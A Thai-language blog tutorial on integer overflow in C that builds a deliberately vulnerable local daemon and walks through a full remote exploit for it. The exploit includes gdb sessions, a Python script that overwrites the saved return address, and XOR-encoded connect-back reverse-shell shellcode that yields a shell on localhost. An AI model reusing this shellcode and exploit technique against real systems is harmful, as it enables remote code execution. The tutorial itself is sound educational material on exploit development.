ในหัวข้อนี้ เรามาดูอีกข้อผิดพลาดหนึ่งที่พบกันคือ Integer Overflow ซึ่งโดยส่วนมากที่พบคือ ปัญหาเกี่ยวกับการเปลี่ยนค่า signed (มีค่าได้ทั้งบวกและลบ) จาก unsigned (มีค่าเป็นบวกได้เท่านั้น)
ก่อนอื่น เรามาดูค่าที่น้อยที่สุด และมากที่สุดของตัวแปรแต่ละชนิดเป็นดังนี้
ชนิด | MIN | MAX |
---|---|---|
char | -128 | 127 |
unsigned char | 0 | 255 |
short | -32768 | 32767 |
unsigned short | 0 | 65535 |
int (32 bits) | −2147483648 | 2147483647 |
unsigned int | 0 | 4294967295 |
รูปแบบแรกที่พบ เนื่องจากในระบบ 2's complement ที่ใช้กันอยู่ในคอมพิวเตอร์นั้น ตัวแปร char ถ้ามีค่า 127 แล้วบวกกับ 1 จะมีค่าเท่ากับ -128 ซึ่งเกิดการ overflow ของตัวเลข
อีกรูปแบบหนึ่ง ที่อาจจะเจอคือการส่ง ผ่านตัวแปรที่ function รับเป็นแบบ unsigned แต่ตอนแรกเราใช้เป็นแบบ signed เช่น
void process(char *buffer, unsigned int len) { // do something } void foo() { int len; char buffer[2048]; // get data and len from somewhere // process data only if len is less than 2048 if (len < 2048) process(buffer, (unsigned int) len); }
จากโค้ดข้างบน จะเห็นว่า len นั้นเป็นแบบ signed int ทำให้บรรทัด "if (len < 2048)" เปรียบเทียบแบบ signed ซึ่งถ้าเราสามารถกำหนดค่า len ให้มีค่าเป็นลบได้ โปรแกรมจะเรียก process function ซึ่งมีการรับค่าเป็นแบบ unsigned int ทำให้ใน process function จะเห็นค่า len เป็นค่าที่มากกว่า 2147483647 และอาจทำให้เราสามารถควบคุมโปรแกรมได้
หมดแล้วสำหรับหลักการ Integer Overflow จะเห็นว่าเรื่องนี้จะดูง่ายๆ แต่ในความเป็นจริงแล้ว bug ประเภทนี้ ส่วนมากที่เจอ จะค่อนข้าง tricky
สำหรับตัวอย่างครั้งนี้ ผมจะทำเป็นแบบ remote exploit ซึ่งเดี๋ยวจะเห็นว่าวิธีการ exploit จะเหมือนกับ local exploit ที่ผ่านๆ มา เพียงแค่เราต้องเปลี่ยน shellcode ที่จะใช้ให้เป็นเกี่ยวกับ network เรามาดูกันเลยดีกว่า โดยผมจะแสดงในนี้เฉพาะส่วนที่สำคัญ (ex_11_1.c)
/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_11_1 ex_11_1.c */ // ... include ... char datalen, len; void do_encrypt(char *buffer, char len) { int i; for (i = 0; i < len; i++) buffer[i] ^= 0xaf; } void handle_client(int fd) { char buffer[128]; // maximum value of char is 127 // get data len if (recv(fd, &datalen, 1, 0) != 1) { close(fd); return; } len = 0; while (len < datalen) len += recv(fd, buffer + len, datalen, 0); do_encrypt(buffer, datalen); send(fd, buffer, datalen, 0); close(fd); } // ... main ...
ในส่วน main คือ code สำหรับทำตัวเองให้เป็น daemon process และคอยรับ connection ที่ port 55555 และเมื่อมี client มาต่อ จะทำการ fork แล้วเรียก handle_client function
เรามาดูการทำงานของ handle_client() กันก่อน จะเห็นโปรแกรมรับข้อมูล 1 byte จาก client เพื่อใช้สำหรับระบุว่าข้อมูลจะมีความยาวเท่าไร หลังจากนั้นทำการรับข้อมูลจาก client จนกระทั่ง len มีค่ามากว่าหรือเท่ากับ datalen หลังจากนั้นโปรแกรมจะเรียก do_encrypt function ซึ่งผมได้ใช้วิธีการ xor กับค่า 0xaf และเมื่อจบ do_encrypt function โปรแกรมจะทำการส่งข้อมูลที่รับกลับมา
ผมหวังว่าหลายๆ คนจะสังเกตเห็นปัญหาของโปรแกรมนี้แล้ว จุดที่น่าสังเกตของโปรแกรมนี้คือ
- เราสามารถที่จะส่งค่า datalen เป็นลบได้ แต่จะไม่มีผลกับโปรแกรม เพราะ len เริ่มต้นเป็น 0 แล้วโปรแกรมจะไม่ทำงานใดๆ
- len เป็นตัวแปรชนิด char ซึ่งสามารถเกิด integer overflow ได้ และเมื่อเกิด overflow ที่ recv() จะทำให้ while loop เป็นจริงและทำงานต่อ
- ที่ recv() ได้ระบุจำนวนข้อมูลที่จะรับ (argument ที่ 3)เป็น datalen ทำให้ถ้าข้อมูลมาครั้งแรกน้อยกว่า datalen ทำให้ครั้งต่อไปโปรแกรมอาจจะรับข้อมูลเกินที่ระบุไว้ใน datalen ซึ่งโค้ดที่ถูกต้องควรเป็น datalen - len
เรามาลองส่งข้อมูลกันก่อนสักรอบดีกว่า โดยผมจะใช้ nc ในการต่อ และใช้ "\n" (Enter) สำหรับ datalen ค่า 10
$ ./ex_11_1 # สำหรับคนที่ยังไม่ได้รัน $ nc -v 127.0.0.1 55555 Connection to 127.0.0.1 55555 port [tcp/*] succeeded! 1234567890 ▒▒▒▒▒▒▒▒▒▒
โปรแกรมทำงานปกติ แต่ถ้าเราตต้องการจะ debug ละ จะเห็นว่าโปรแรมนี้ จะมีการ fork process ลูก แต่ gdb ของเราทำการ debug process แม่อยู่ วิธีการ debug ด้วย gdb คือให้คำสั่ง "set follow-fork-mode child" ทำได้ตามนี้ (หรือใส่ไว้ใน gdbinit)
$ ps -e | grep ex_11_1 1287 ? 00:00:00 ex_11_1 $ gdb -q -p 1287 Attaching to process 1287 ... Loaded symbols for /lib/ld-linux.so.2 0x0012d422 in __kernel_vsyscall () (gdb) disas handle_client ... 0x080486e5 <+121>: mov %eax,(%esp) 0x080486e8 <+124>: call 0x80484bc <recv@plt> ... 0x080486fe <+146>: movzbl 0x8049ac4,%edx # len อยู่ที่ 0x8049ac4 0x08048705 <+153>: movzbl 0x8049ac5,%eax # datalen อยู่ที่ 0x8049ac5 0x0804870c <+160>: cmp %al,%dl 0x0804870e <+162>: jl 0x80486b6 <handle_client+74> ... 0x0804871e <+178>: lea -0x88(%ebp),%eax # buffer อยู่ที่ ebp-0x88 0x08048724 <+184>: mov %eax,(%esp) 0x08048727 <+187>: call 0x8048634 <do_encrypt> ... 0x08048762 <+246>: leave 0x08048763 <+247>: ret End of assembler dump. (gdb) b *0x08048727 Breakpoint 1 at 0x8048727 (gdb) set follow-fork-mode child (gdb) c Continuing. # ... เปิดอีก terminal ใช้ nc ต่อเข้ามาแบบข้างบน [New process 1401] [Switching to process 1401] Breakpoint 1, 0x08048727 in handle_client () (gdb) x/4x $esp 0xbffff660: 0xbffff670 0x0000000a 0x0000000a 0x00000000 (gdb) x/s 0xbffff670 0xbffff670: "1234567890)" (gdb) c Continuing. Program exited normally.
หลังจาก debug โปรแกรมได้แล้ว เรามาลองเขียนโปรแกรมเล็กๆ โดยผมจะใช้ python เพื่อส่งข้อมูลที่ทำให้เกิด buffer overflow แบบที่คิดไว้ข้างบน โดยครั้งแรกจะได้
import socket, time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 55555)) s.send("\x7f") # send datalen (127) s.send("J"*126) # send junk 126 bytes # sleep 1 sec before sending again, so the data is not merged in 1 recv time.sleep(1) s.send("A"*126) s.close()
$ gdb -q -p 1287 ... (gdb) b *0x080486e8 # set breakpoint ที่ recv() ใน while loop Breakpoint 1 at 0x080486e8 (gdb) condition 1 *((char*)0x8049ac4)==126 # กำหนดให้ break เมื่อ len==126 (gdb) set follow-fork-mode child (gdb) c Continuing. # ... ต่อด้วยโปรแกรม python ที่เขียนขึ้นมา [New process 1461] [Switching to process 1461] Breakpoint 1, 0x080486e8 in handle_client () (gdb) x/x $ebp-0x88 0xbffff670: 0x4a4a4a4a # buffer อยู่ที่ address 0xbffff670 (gdb) x/4x $esp # list argument ของ recv 0xbffff660: 0x00000004 0xbffff6ee 0x0000007f 0x00000000 (gdb) x/8x $ebp-16 0xbffff6e8: 0x4a4a4a4a 0x00294a4a 0x00000000 0x00000000 0xbffff6f8: 0xbffff738 0x080488a5 0x00000004 0x00000000 (gdb) ni 0x080486ed in handle_client () (gdb) x/8x $ebp-16 0xbffff6e8: 0x4a4a4a4a 0x41414a4a 0x41414141 0x41414141 0xbffff6f8: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) d 1 (gdb) b *0x080486e8 Breakpoint 2 at 0x80486e8 (gdb) c Continuing. Breakpoint 2, 0x080486e8 in handle_client () (gdb) x/4x $esp # list argument ของ recv 0xbffff660: 0x41414141 0xbffff66c 0x0000007f 0x00000000 (gdb) k Kill the program being debugged? (y or n) y
ให้สังเกตที่ arguemnt ของ recv จะเห็นว่าค่า fd จากที่ครั้งแรกเป็น 4 กลายเป็น 0x41414141 เนื่องจากเรา overwrite ค่า fd ที่เป็น argument ของ handle_client function (อยู่ใน saved eip) และทำให้ recv function จะ return -1 ดังนั้นวิธีหนึ่งที่ทำได้คือ overflow ให้เขียนทับ eip แล้วใน while loop จะลบค่า len ไปทีละ 1 จากค่าติดลบจนเป็น 127 ที่เท่ากับ datalen
แต่ถ้าโปรแกรมมีการ check ว่า recv return -1 หรือไม่ เราก็จะไม่สามารถใช้วิธีข้างบนได้ (และผมก็ไม่แสดงให้ดูนะ) แต่เราต้องทำให้ fd นั้นเป็นค่าของ socket ที่ต่ออยู่จริงๆ แล้วค่ามันคืออะไรละ โดย default ของโปรแกรม 0,1,2 เป็น stdin, stdout, stderr ตามลำดับ และ server socket ที่สร้างมาสำหรับรับ connection จาก client ก็จะเป็น 3 ดังนั้น client socket ที่ต่อใหม่ก็จะเป็น 4 และถ้าดูที่โปรแกรมตัว parent ที่ใช้รับ connection จะ close client fd ก่อน แล้วค่อยไปรับ connection ใหม่ ทำให้ client ที่ต่อใหม่อีกรอบก็ยังคงเป็น 4 และเมื่อรู้ว่าค่า client fd เป็น 4 ตลอด ดังนั้นเราสามารถเขียนทับค่านี้ด้วย 4 เพื่อให้โปรแกรมทำงานต่อได้ถูกต้อง
เมื่อเราสามารถให้โปรแกรมทำงานต่อไปได้ เรามาลองคิดดูว่าตอนนี้ len จะมีค่าเป็น 126+126=-4 ดังนั้นเราจะต้องใส่ค่าไปอีก 4+127=131 เพื่อให้โปรแกรมออกจาก while loop โดยค่าที่เราใส่เข้าไปจะไปทับข้อมูลใน buffer ที่เราส่งไปครั้งแรก ดังนั้นถ้าเราแก้ code แล้ว debug จะได้
import socket, time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 55555)) s.send("\x7f") # send datalen (127) s.send("J"*126) # send junk 126 bytes time.sleep(1) s.send("A"*10 + "sebp" + "seip" + "\x04\x00\x00\x00" + "A"*104) s.send("U"*131) s.close()
$ gdb -q -p 1287 ... (gdb) b *0x8048634 Breakpoint 1 at 0x8048634 (gdb) set follow-fork-mode child (gdb) c Continuing. [New process 1500] [Switching to process 1500] Breakpoint 1, 0x08048634 in do_encrypt () (gdb) x/8x $ebp-0x88 0xbffff670: 0x55555555 0x55555555 0x55555555 0x55555555 0xbffff680: 0x55555555 0x55555555 0x55555555 0x55555555 (gdb) x/4x $ebp 0xbffff6f8: 0x70626573 0x70696573 0x00000004 0x41414141 (gdb) x/s $ebp 0xbffff6f8: "sebpseip\004"
ตอนนี้เราได้ข้อมูลครบทุกอย่างสำหรับ exploit แล้ว (address ของ) เหลือเพียงแค่ shellcode โดยผมจะใช้ connect back shellcode ที่ผมเขียนไว้ใน "Linux x86 Shellcode" ซึ่งเป็นดังนี้
\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80
ในโปรแกรมนี้ ไม่มี badchar แต่ข้อมูลจะถูก xor ด้วย 0xaf ก่อนจบ function ดังนั้นเวลาเราส่งข้อมูลที่ถูกเก็บใน buffer เราต้อง xor กับ 0xaf ก่อน และถ้าดูที่ assembly ของ shellcode นี้จะเห็นว่ามีการใช้ push อยู่หลายครั้ง ซึ่งหมายความว่าต้องการใช้ stack ดังนั้นเราต้องไม่ใช่ esp อยู่ใกล้ shellcode ของเราเมื่อ shellocde กำลังทำงานอยู่ โดยผมจะใช้วิธีการเพิ่ม "add $0x80, %esp" เพื่อเลื่อน stack pointer ไปให้ห่างจาก shellcode
เมื่อรวมทุกอย่างเราจะได้โปรแกรม python ดังนี้ (ex_11_1.py)
import socket import time from struct import pack # shellcode address addr = 0xbffff690 # stack adjustment (add esp, 0x80) (6 bytes) addesp = "\x81\xc4\x80\x00\x00\x00" # reverse shell, connect back to 127.0.0.1:5555 (67 bytes) rsh_sc = "\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" sc = addesp + rsh_sc # first data to be sent payload = "\x90"*(127 - len(sc)) + sc payload_enc = "".join([ chr(ord(c) ^ 0xaf) for c in payload ]) # connect to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 55555)) # send datalen (127) s.send("\x7f") # send junk 126 bytes s.send("J"*126) # sleep 1 sec before sending again, so the data is not merged in 1 recv time.sleep(1) # send data to overwrite the eip and cause the "len" overflow (126 bytes) # - junk 2 bytes to fill the buffer # - junk 8 bytes # - saved ebp 4 bytes # - saved eip 4 bytes # - the client_fd argv 4 bytes (4) # - junk (126 - 17) bytes s.send("A"*10 + "sebp" + pack("<I", addr) + pack("<I", 4) + "J"*(126 - 22)) # now "len" is overflown to be 126 + 126 = -4 # send 4 bytes to make recv buffer at the beginning again s.send("\x00"*4) # send the payload s.send(payload_enc) s.close()
ใช้ nc เพื่อ listen ที่่ port 5555 แล้ว run python โปรแกรมข้างบนจะได้
$ nc -vl 5555 Connection from 127.0.0.1 port 5555 [tcp/*] accepted id uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit) exit
ทำได้แล้ว สำหรับตัวอย่างนี้อาจจะยากไปซักหน่อยสำหรับหลายๆ คน (ผมตั้งใจให้มันยากเอง ^.^) แต่ในบางครั้งเราจำเป็นต้องคิดถึงในหลายๆ เรื่อง เพื่อให้โปรแกรมทำงานต่อไปได้ ถึงแม้จะเกิด overflow ไปแล้ว เพื่อให้โปรแกรมทำงานจนถึง shellcode ที่เราใส่เข้าไป และใน application จริงอาจจะได้เจอโปรแกรมที่มีความซับซ้อนมากกว่านี้
Reference:
- http://www.phrack.org/issues.html?issue=60&id=10
- https://www.owasp.org/index.php/Integer_overflow
No comments:
Post a Comment